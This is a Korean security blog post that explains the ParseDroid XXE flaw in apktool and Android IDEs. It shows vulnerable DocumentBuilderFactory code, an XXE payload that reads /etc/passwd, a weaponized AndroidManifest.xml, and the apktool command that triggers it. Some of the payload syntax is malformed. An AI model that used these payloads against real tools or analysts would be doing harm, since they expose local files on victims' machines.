요 며칠 사이에 핫하게 바람이 불고있는 DocumentBuilderFactory XXE 취약점에 대햔 이야기를 할까합니다.
checkpoint 글 보고 어제부터 급히 작성하곤 있었는데 생각보다 오래 걸리게 되었네요.
ParseDroid and DocumentBuilderFactory vulnerability
먼저 DocumentBuilderFactory XXE 취약점에 대해 보기 전 ParserDroid에 대해 알아두고 가면 좋습니다. DocumentBuilderFactory의 XXE 취약점으로 인해 영향이 컸던 apktool 취약점과 함께 다른 안드로이드 개발 IDE(대표적으로 이클립스) 에 대한 취약점들이 동시에 공개되었고 이를 묶어서 ParserDroid로 표현합니다.
IDE 취약점 이외에도 apktool을 내장하고 있는 소프트웨어 또한 아주 많을 것이고, 이게 자동으로 업데이트 할 수 있다는 보장이 없기에 파급력이 높다고 생각됩니다.
“ParseDroid는 안드로이드 개발 관련 취약점들의 모음집”
Apktool XXE
먼저 대표적으로 알려진 apktool xxe 부터 보고가겠습니다. apktool 내 loadDocument() 함수에는 XXE 취약점이 존재합니다. loadDocument() 함수는 build , decompile 등에 사용되어 apktool을 활용한 여러 프로그램에 모두 영향을 끼칠 수 있습니다.
private static Document loadDocument(File file) throws IOException, SAXException, ParserConfigurationException{
DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
return docbuilder.parse(file); // exploit trigger 포인트입니다.
}
여기서 loadDocument() 함수가 읽는 파일 중 대표적인게 Manifest 입니다. AndroidManifest.xml 파일도 XML이기 때문에 파싱하는 곳이 있다면 XXE 포인트가 존재하게 됩니다. 공격자가 Manifest에 XXE 구문을 넣은 APK를 apktool를 통해 분석 시 anifest를 읽는 과정에 XXE 구문이 실행됩니다.
사실 이게 전부이기도 합니다. 다만 약간 더 알아가면 apktool 이외에도 다른 IDE에서 어떻게 취약점이 나왔는지 알 수 있습니다.
DocumentBuilderFactory Class
가장 깊은 곳의 원인부터 보면 DocumentBuilderFactory class를 확인해야합니다. 이 class는 javax의 xmlpaser이며(javax/xml/parsers/DocumentBuilderFactory.java) 대체로 아래와 같은 형태로 로드하여 사용합니다.
import javax.xml.parsers.DocumentBuilderFactory;
아까 위에서 이야기했던 loadDocument 함수 또한 내부적으로 DocumentBuilderFactory를 사용하여 XML 데이터를 파싱하고, 이 부분까지 XXE 코드를 흘리게 되면 정확하게 공격이 성공하게 됩니다.
아래 대충 간단하게.. java 코드가 있다고 가정합시다. 이 코드는 DocumentBuilderFactory를 통해 xml을 파싱하는 코드입니다. 얼핏보면 위에서 봤던 loadDocument() 함수와 비슷하죠.
String xml = "<document><test></test></document>";
ByteArrayInputStream xmldata = new ByteArrayInputStream(xml.getBytes());
DocumentBuilderFactory abstractFactory= DocumentBuilderFactory.newInstance();
DocumentBuilder factory = abstractFactory.newDocumentBuilder();
Document doc = factory.parse(xmldata);
doc.getDocumentElement().normalize();
System.out.println("Root element is " + doc.getDocumentElement().getNodeName());
만약 여기에 ENTITY 구문이 들어간다면 어떻게 될까요?
String xml = '<!ENTITY hwul SYSTEM "file:///etc/passwd"><document><test>%hwul</test></document>';
ByteArrayInputStream xmldata = new ByteArrayInputStream(xml.getBytes());
DocumentBuilderFactory abstractFactory= DocumentBuilderFactory.newInstance();
DocumentBuilder factory = abstractFactory.newDocumentBuilder();
Document doc = factory.parse(xmldata);
doc.getDocumentElement().normalize();
System.out.println("Root element is " + doc.getDocumentElement().getNodeName());
DocumentBuilderFactory의 parse() 메소드는 ENTITY 구문을 처리하려고 하겠지요. 그래서 이 앞단에 처리할 수 있는 부분과 없는 부분을 걸러주는 코드가 필요하게 됩니다. apktool을 비롯하여 여러 IDE들은 처리하는 부분이 부족했고 이를 통해서 ENTITY 구문이 프로그램으로 흘러가 코드가 실행됩니다.
Let’s go Exploit!
우선 apk 파일을 하나 만들어주고 AndroidManifest.xml 파일에 XXE 구문을 삽입합니다.
<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE tttest [<!ENTITY hwul SYSTEM "file:///etc/passwd"><test>%hwul</test>]>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.android.donebar"
android:versionCode="1"
android:versionName="1.0">
<!-- Min/target SDK versions (<uses-sdk>) managed by build.gradle -->
<application android:label="@string/app_name"
.....
그러고 이 apk가 DocumentBuilderFactory의 parser를 거쳐가도록 apktool, eclipse, android studio 등으로 디컴파일, 리패키징 등 분석 옵션으로 apk를 로드해주면 XML 파싱에 성공하여 XXE 코드가 실행되게 됩니다.
#> java -jar apktool_2.0.3.jar d vuln.apk
확실한 체크를 위해선 file 구문보단 원격지 서버로 요청 날려서 넘어왔는지 체크하는 방법이 가장 좋을 것 같네요.
Conclusion
간만에 굉장히 위협적인 취약점이 나왔다고 생각합니다. apktool만 해도 그 툴을 쓰는 여러 프로그램 모두 XXE 공격에 노출될 수 있고, 대체로 내부의 서드파티 앱으로 사용되는지라 업데이트 하려는 시도가 적을거란 생각이 드네요.
또한 개발자, 보안가 등 안드로이드 앱을 만들거나 분석하는 사람을 타겟이 되기 떄문에 조금 다른 공격 시나리오도 구상해볼 수 있을 것 같네요. (예시로는 악의적인 git 프로젝트, 개인적으로 생각난건 cuckoo sandbox 같은 분석 환경에 대한 침투?!)
관련해서 개인적으로 몇몇 사람끼리 작은 프로젝트 해보려는데, 결과 재미있으면 공유드리겠습니다 :)
Reference
https://research.checkpoint.com/parsedroid-targeting-android-development-research-community/ https://github.com/Himansu-Nayak/java7-sourcecode/blob/master/javax/xml/parsers/DocumentBuilderFactory.java